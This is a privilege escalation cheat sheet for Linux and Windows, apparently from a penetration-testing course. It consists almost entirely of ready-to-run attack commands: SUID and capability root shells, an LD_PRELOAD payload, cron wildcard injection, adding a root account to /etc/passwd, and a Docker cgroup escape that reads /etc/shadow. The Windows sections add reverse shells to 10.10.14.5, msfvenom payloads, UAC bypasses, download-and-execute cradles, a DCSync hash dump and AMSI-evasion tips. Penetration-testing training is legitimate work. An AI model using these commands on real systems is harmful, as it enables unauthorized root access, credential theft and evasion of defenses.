Back to All Modules

Privilege Escalation Cheat Sheet


#LINUX - INITIAL ENUMERATION

# Who are we?
id && whoami && groups
sudo -l                           # most important: what can we sudo?
sudo -V                           # sudo version (CVE-2021-3156, etc.)

# OS & kernel
uname -a
cat /etc/os-release
cat /etc/issue
cat /proc/version
cat /etc/*-release

# Kernel version -> searchsploit
searchsploit "Linux Kernel $(uname -r | cut -d- -f1)"

# Running processes
ps aux
ps aux | grep root
pspy                             # if available, watch for cron/timers

# Network (what services are internal?)
ss -tlnp
ss -anp
netstat -tlnp 2>/dev/null
arp -a && ip a && ip route

# Mounted drives
df -h
mount
cat /etc/fstab
lsblk
BASH

#LINUX - SUID / SGID

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -user root -type f -not -path "/usr/share/*" 2>/dev/null
find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null
getcap /usr/bin/python3.8 2>/dev/null
# cap_setuid+ep = can set UID -> escalate

# GTFOBins lookup for a binary
curl -s "https://gtfobins.github.io/gtfobins/find/" | grep -A5 "SUID"

# === Common SUID exploit one-liners ===

# find
find . -exec /bin/sh -p \; -quit
find / -name anything -exec /bin/sh -p \;

# bash
bash -p

# python/3 (with cap_setuid)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# vim
vim -c ':py3 import os; os.setuid(0); os.system("/bin/bash")'
vim -c ':!/bin/sh'

# awk
awk 'BEGIN {system("/bin/sh")}'

# perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# less/more
less /etc/passwd   # then type: !/bin/sh

# man
man man            # then type: !/bin/sh

# cp + /etc/passwd (overwrite shadow)
cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell; /tmp/rootshell -p

# nmap (if SUID, old interactive mode)
nmap --interactive   # then: !sh

# systemctl (if SUID, create malicious service)
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash && chmod +s /tmp/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
/tmp/bash -p

# env (keep SUID context)
env /bin/sh -p
BASH

#LINUX - CAPABILITIES

# Enumerate
getcap -r / 2>/dev/null

# cap_setuid+ep -> set UID to 0
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_net_raw+ep -> can sniff traffic (tcpdump)
tcpdump -i lo -w capture.pcap

# cap_sys_ptrace+ep -> can inject into processes
# (use with caution, complex)

# cap_dac_read_search+ep -> can read any file (bypass permissions)
# e.g., read /etc/shadow when normally denied

# cap_dac_override+ep -> bypass DAC permission checks

# cap_fowner+ep -> chown any file
# cp /bin/bash /tmp/bash; chown root:root /tmp/bash; chmod +s /tmp/bash

# cap_chown+ep -> change ownership of any file
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
BASH

#LINUX - CRON JOBS / SCHEDULED TASKS

# Check crontabs
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
crontab -l
crontab -u username -l
grep -r "curl\|wget\|nc\|bash" /etc/cron* /var/spool/cron/ 2>/dev/null

# Find world-writable scripts called by cron
grep -r "sh\|bash\|python\|perl\|ruby" /etc/cron* 2>/dev/null | while read line; do
  script=$(echo "$line" | awk '{print $NF}')
  [ -w "$script" ] && echo "WRITABLE: $script"
done

# PATH hijack if cron uses relative paths
# Check PATH in crontab, if writable dir is first:
echo '#!/bin/bash
cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/in/PATH/common_binary
chmod +x /path/in/PATH/common_binary

# Wildcard injection (tar with *)
# If cron runs: cd /path && tar czf /backup/backup.tar.gz *
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'

# Monitor with pspy
./pspy64 -p -i 1000                 # poll every 1000ms, print commands
BASH

#LINUX - WRITABLE /ETC/PASSWD

# Check if writable
ls -la /etc/passwd
ls -la /etc/shadow

# If /etc/passwd is writable - add root user
openssl passwd -1 -salt ignite pass123          # generate hash
echo "newroot:GENERATED_HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
su newroot                                       # switch to new root user

# Alternative: openssl variants
openssl passwd -6 pass123                        # SHA-512 (modern)
mkpasswd -m sha-512 pass123                      # if whois/mkpasswd available

# If /etc/shadow is writable
# Generate hash, then:
echo "root:$HASH:19000:0:99999:7:::" > /etc/shadow  # DESTRUCTIVE - backup first!

# Readable /etc/shadow (try cracking)
cat /etc/shadow | grep -v "*\|!\|nologin" > hashes.txt
john hashes.txt --wordlist=rockyou.txt
BASH

#LINUX - MISC PE TECHNIQUES

# Writable service files
find /etc/systemd/system /usr/lib/systemd/system -writable -type f 2>/dev/null
# Edit service, add ExecStartPre=/bin/bash -c 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash'

# LD_PRELOAD / LD_LIBRARY_PATH (if sudo preserves env)
sudo -l | grep "env_keep.*LD_PRELOAD\|env_keep.*LD_LIBRARY_PATH"
# LD_PRELOAD:
cat > /tmp/priv.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/priv.so /tmp/priv.c -nostartfiles
sudo LD_PRELOAD=/tmp/priv.so /allowed/command

# NFS no_root_squash
cat /etc/exports                      # look for no_root_squash
showmount -e target
# Mount and create SUID binary as root on attacker:
mkdir /mnt/target && mount -t nfs target:/ /mnt/target
cp /bin/bash /mnt/target/tmp/bash && chmod +s /mnt/target/tmp/bash

# Docker group membership
id | grep docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# LXD group membership
lxd init --auto && lxc launch ubuntu:22.04 privesc
lxc config set privesc security.privileged true
lxc config device add privesc mydev disk source=/ path=/mnt/root recursive=true
lxc exec privesc -- /bin/bash

# Sudo LD_PRELOAD (if env_keep)
sudo -l    # check for env_keep+=LD_PRELOAD

# Python library hijack (if Python script with SUID/sudo runs and imports a writable module)
find / -writable -name "*.py" 2>/dev/null
# Add to imported module: import os; os.system('/bin/bash')
BASH

#LINUX - AUTOMATED TOOLS

# LinPEAS (download, run on target)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
./linpeas.sh -a                           # all checks
./linpeas.sh -q                           # quiet mode (no colors for output file)

# LinEnum
./LinEnum.sh -t -r report.txt

# pspy (process monitor, no root needed)
./pspy64                                  # 64-bit
./pspy32                                  # 32-bit
./pspy64 -pf -i 1000                      # print full commands, poll 1s

# linux-exploit-suggester / LES
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.pl -k $(uname -r)

# GTFOBins quick search
curl -s "https://gtfobins.github.io/" | grep -oP '(?<=gtfobins/)[^/"]+' | sort -u
BASH

#WINDOWS - INITIAL ENUMERATION

REM Who are we?
whoami /all
whoami /priv
echo %USERNAME%
systeminfo
systeminfo | findstr /i "os name version hotfix"

REM OS / patches
wmic qfe get Caption,Description,HotFixID,InstalledOn
Get-HotFix | ft HotFixID,InstalledOn,Description
Get-ComputerInfo | select OsName,OsVersion,OsArchitecture

REM Network
ipconfig /all
netstat -ano
route print
arp -a

REM Firewall
netsh advfirewall show allprofiles
netsh advfirewall firewall show rule name=all dir=in

REM Environment
set
Get-ChildItem Env:
CMD

#WINDOWS - SERVICE-BASED PE

REM List all services
sc query state=all
wmic service get name,pathname,startname,startmode
Get-CimInstance Win32_Service | ft Name,State,PathName,StartName

REM Check service config
sc qc servicename
sc query servicename

REM Find modifiable service binaries
icacls "C:\Program Files\Service\service.exe"
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula

REM === Unquoted Service Path ===
wmic service get name,displayname,pathname,startmode 2>nul | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# If pathname is: C:\Program Files\Service Folder\service.exe
# Place payload at: C:\Program Files\Service.exe or C:\Program Files\Service Folder\service.exe

REM === Service binary modifiable ===
icacls "C:\Program Files\VulnService\service.exe"
# If W (write) or F (full) -> replace binary with payload

REM === Service config changeable ===
# If we can modify service config (sc config requires SERVICE_CHANGE_CONFIG)
sc config VulnService binPath= "net user attacker Pass123! /add && net localgroup Administrators attacker /add"
sc start VulnService
sc config VulnService binPath= "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc start VulnService
CMD

#WINDOWS - PRIVILEGE CHECKS

REM Token privileges
whoami /priv

REM Key privileges to look for:
REM SeImpersonatePrivilege    -> Potato family, PrintSpoofer, SweetPotato
REM SeAssignPrimaryToken      -> Potato family, PrintSpoofer
REM SeTcbPrivilege            -> Create token as SYSTEM
REM SeBackupPrivilege         -> Read any file (copy SAM/SYSTEM)
REM SeRestorePrivilege        -> Write any file
REM SeTakeOwnershipPrivilege  -> takeown, change ACL
REM SeDebugPrivilege          -> Inject into SYSTEM process
REM SeLoadDriverPrivilege     -> Load malicious kernel driver
REM SeManageVolumePrivilege   -> CVE-2023-21769 (3CX exploit)

REM Check UAC level
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

REM AlwaysInstallElevated (both must return 0x1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both 0x1: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o shell.msi
# msiexec /quiet /qn /i shell.msi
CMD

#WINDOWS - TOKEN IMPERSONATION (POTATO / PRINTSPOOFER)

# If SeImpersonatePrivilege or SeAssignPrimaryToken is enabled:

# PrintSpoofer.exe (simplest, most reliable)
.\PrintSpoofer64.exe -i -c cmd.exe
.\PrintSpoofer64.exe -c "nc.exe 10.10.14.5 4444 -e cmd.exe"

# JuicyPotato (older Windows, CLSID dependent)
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c nc.exe 10.10.14.5 4444 -e cmd.exe" -t * -c {CLSID}

# SweetPotato (newer, combines multiple techniques)
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"

# RoguePotato (remote, if we can redirect OXID)
.\RoguePotato.exe -r 10.10.14.5 -e "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" -l 9999

# GodPotato (very new, broad OS support)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "nc.exe 10.10.14.5 4444 -e cmd.exe"

# JuicyPotato CLSID lookup (for specific OS version)
# Windows 10 Pro: {4991D34B-80A1-4291-83B6-3328366B9097}
# Full list: https://github.com/ohpe/juicy-potato/tree/master/CLSID
BASH

#WINDOWS - UAC BYPASS

REM Check if admin but UAC-limited
net localgroup Administrators
whoami /groups | findstr /i "Medium"
# Medium Mandatory Level + Administrator = UAC bypass needed

REM fodhelper.exe (Windows 10)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
fodhelper.exe

REM eventvwr (Windows 10, alternate)
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe /c C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /f
eventvwr.exe

REM computerdefaults.exe (Windows 10 1809+)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c whoami" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
computerdefaults.exe

REM cmstp.exe (installs malicious inf)
REM Create malicious .inf file that executes payload

REM UAC bypass via ICMLuaUtil (COM object, requires elevated COM)
# Use UACME tool: https://github.com/hfiref0x/UACME
.\akagi.exe 41    # ICMLuaUtil method
.\akagi.exe 61    # seclogon method
CMD

#WINDOWS - DLL HIJACKING

REM Find missing DLLs for services/apps
# Use ProcMon (Sysinternals) on target, filter: Result = NAME NOT FOUND, Path ends with .dll
# Or check known hijackable DLLs for the service binary

REM Common hijackable DLLs (Windows searches in order):
REM 1. Application directory
REM 2. C:\Windows\System32
REM 3. C:\Windows\System
REM 4. C:\Windows
REM 5. Current directory
REM 6. PATH directories

REM Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o hijack.dll

REM Check DLL search order with:
reg query HKLM\SYSTEM\CurrentControlSet\Control\Session Manager /v SafeDllSearchMode
# SafeDllSearchMode = 1 (default, system32 before app dir)
# SafeDllSearchMode = 0 (vulnerable, app dir first)
CMD

#WINDOWS - FILE / PERMISSION-BASED PE

REM Find writable files in system dirs
accesschk.exe -uwdqs Users C:\ 2>nul
accesschk.exe -uwdqs "Authenticated Users" C:\ 2>nul
accesschk.exe -uwdqs Everyone C:\ 2>nul

REM Find writable directories in PATH
for %d in ("%PATH:;=" "%") do icacls %d 2>nul | findstr /i "(F) (M) (W)" | findstr /i "BUILTIN\Users Everyone Authenticated"
# If writable: place DLL/EXE with name of a program that SYSTEM runs

REM Check registry auto-runs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

REM Startup folder
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
# Place payload in writable startup folder

REM Check cached credentials
cmdkey /list
# If credentials for admin stored: runas /savecred /user:admin cmd.exe

REM Check for saved RDP connections
cmdkey /list | findstr TERMSRV
dir %USERPROFILE%\AppData\Local\Microsoft\Terminal Server Client\Cache
CMD

#WINDOWS - AUTOMATED TOOLS

# WinPEAS
.\winPEASx64.exe
.\winPEASx64.exe quiet
.\winPEASx64.exe cmd       # cmd output
.\winPEASx64.exe systeminfo userinfo

# PowerUp (PowerSploit)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1')
Invoke-AllChecks
Find-PathDLLHijack
Get-UnquotedService

# Seatbelt (execute specific checks)
.\Seatbelt.exe -group=all
.\Seatbelt.exe -group=user
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe UnquotedServicePaths
.\Seatbelt.exe AlwaysInstallElevated
.\Seatbelt.exe CredEnum

# Watson (missing patches)
.\Watson.exe

# Sherlock (missing patches, older)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Sherlock.ps1')
Find-AllVulns

# PrivescCheck (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PrivescCheck.ps1')
Invoke-PrivescCheck

# windows-exploit-suggester
./windows-exploit-suggester.py --database 2024-05-01-mssb.xls --systeminfo systeminfo.txt
./windows-exploit-suggester.py -i systeminfo.txt -d 2024-05-01-mssb.xls

# Kernel exploits (last resort, may crash system)
# Check OS version, search for known exploits:
# CVE-2021-1732 (Win10 20H2)
# CVE-2020-0796 (SMBGhost)
# CVE-2020-0668 (Service Tracing)
# CVE-2019-1388 (UAC bypass via cert dialog)
POWERSHELL

#CROSS-PLATFORM - PASSWORD / HASH HUNTING

# Linux
cat /etc/shadow 2>/dev/null
cat /etc/passwd | grep -v "nologin\|false" 2>/dev/null
grep -r "password" /home /var/www /opt /etc 2>/dev/null | grep -v "localhost\|example\|\#"
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null
find / -name ".env" -o -name "wp-config.php" -o -name "settings.py" 2>/dev/null

# Windows
findstr /s /i "password" C:\*.txt C:\*.ini C:\*.cfg C:\*.config C:\*.xml 2>nul
dir /s /b C:\*cred* C:\*pass* C:\*.kdbx 2>nul
dir %USERPROFILE%\.ssh\id_rsa 2>nul
BASH

#WINDOWS - AD PRIVILEGE ESCALATION

# AD privilege escalation via WriteDACL/WriteOwner
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity user -Rights DCSync
# After granting DCSync rights, dump hashes:
impacket-secretsdump.py 'domain.local/user:pass@dc-ip' -just-dc-ntlm

# AppLocker/CLM bypass
Get-AppLockerPolicy -Effective                      # Check current AppLocker policy
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U payload.exe
# InstallUtil.exe is a LOLBIN that can execute .NET assemblies bypassing AppLocker

# RunAs /netonly -- AD auth with local admin
runas /netonly /user:domain\user cmd.exe
# Authenticates to domain but runs as local user -- useful when you have local admin but need domain auth
POWERSHELL

#LINUX - DOCKER ESCAPE VIA CGROUP

# Docker escape via cgroup (privileged container)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/yo
echo 1 > /tmp/cgrp/yo/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd; echo 'cat /etc/shadow > $host_path/output' >> /cmd
chmod a+x /cmd
sh -c "echo 0 > /tmp/cgrp/yo/cgroup.procs"
BASH

#OPSEC NOTES

# OPSEC: winPEAS.exe triggers multiple Defender detections and Event IDs (4688 process creation)
# OPSEC: PowerUp.ps1 is heavily signatured and flagged by AMSI -- use AMSI bypass first
# OPSEC: SharpUp (C# version) avoids AMSI/CLM restrictions
TEXT

#ESCALATION DECISION FLOW

Linux:
1. sudo -l                        -> if allowed commands, check GTFOBins
2. find SUID binaries             -> check GTFOBins for each
3. getcap -r /                    -> cap_setuid, cap_dac_read_search, etc.
4. Cron jobs                      -> writable scripts, PATH hijack
5. Writable /etc/passwd           -> add root user
6. Kernel exploit                 -> last resort (searchsploit)
7. Run linpeas.sh                 -> comprehensive second pass

Windows:
1. whoami /priv                   -> SeImpersonate -> Potato/PrintSpoofer
2. whoami /groups                 -> admin but Medium? UAC bypass
3. Check services                 -> Unquoted path, writable binary, config
4. AlwaysInstallElevated          -> MSI payload
5. Scheduled tasks                -> writable script/binary
6. Stored creds (cmdkey)          -> runas /savecred
7. Kernel exploit                 -> last resort
8. Run winPEAS                    -> comprehensive second pass
TEXT